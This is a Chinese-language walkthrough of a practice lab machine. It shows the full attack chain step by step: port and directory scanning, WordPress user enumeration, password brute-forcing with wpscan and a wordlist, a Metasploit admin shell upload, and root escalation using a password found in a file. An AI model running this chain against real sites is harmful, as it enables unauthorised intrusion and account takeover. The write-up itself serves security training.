靶机设置

将靶机导入VirtualBox中,有时候导入VM会出错,扫描不到ip地址。
EVM_80端口
kali:192.168.1.100
kali扫描获得ip地址:192.168.1.107
EVM_bash_02

渗透测试

接着扫描端口

nmap -sS -sV -T5 -A -p- 192.168.1.107

EVM_python_03
访问80端口
EVM_bash_04
没有什么有用的信息,扫一下目录

./dirsearch.py -u http://192.168.1.107 -e*

扫出info.php
EVM_3d_05
换个工具在扫一波

dirb http://192.168.1.107

EVM_bash_06
扫到wordpress目录,访问一下:
EVM_3d_07
发现使用的是wordpress框架,使用wpscan工具进行扫描

wpscan --url http://192.168.1.107/wordpress -e ap -e at -e u

扫描到一个用户:c0rrupt3d_brain
EVM_python_08
接着使用此工具爆破密码

wpscan --url http://192.168.1.107/wordpress -U  c0rrupt3d_brain -P /usr/share/wordlists//rockyou.txt

EVM_80端口_09
密码为: 24992499
Metasploit有内置wordpress漏洞
启动Metasploit,然后键入以下命令:

msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.107
set USERNAME c0rrupt3d_brain
set PassWORD 24992499
set targeturi /wordpress
run

EVM_80端口_10
成功了,cd /home
EVM_3d_11
有一个root3r的文件,进入查看
EVM_3d_12
有一个.root_password_ssh.txt文件查看
EVM_ip地址_13
获得了ssh的密码:willy26
我们知道了root用户的密码好我们提权
我们先建立交互式

shell
python -c 'import pty;pty.spawn("/bin/bash")'
su root
willy26

EVM_3d_14
提权成功
进入root文件夹下获取flag信息
EVM_bash_15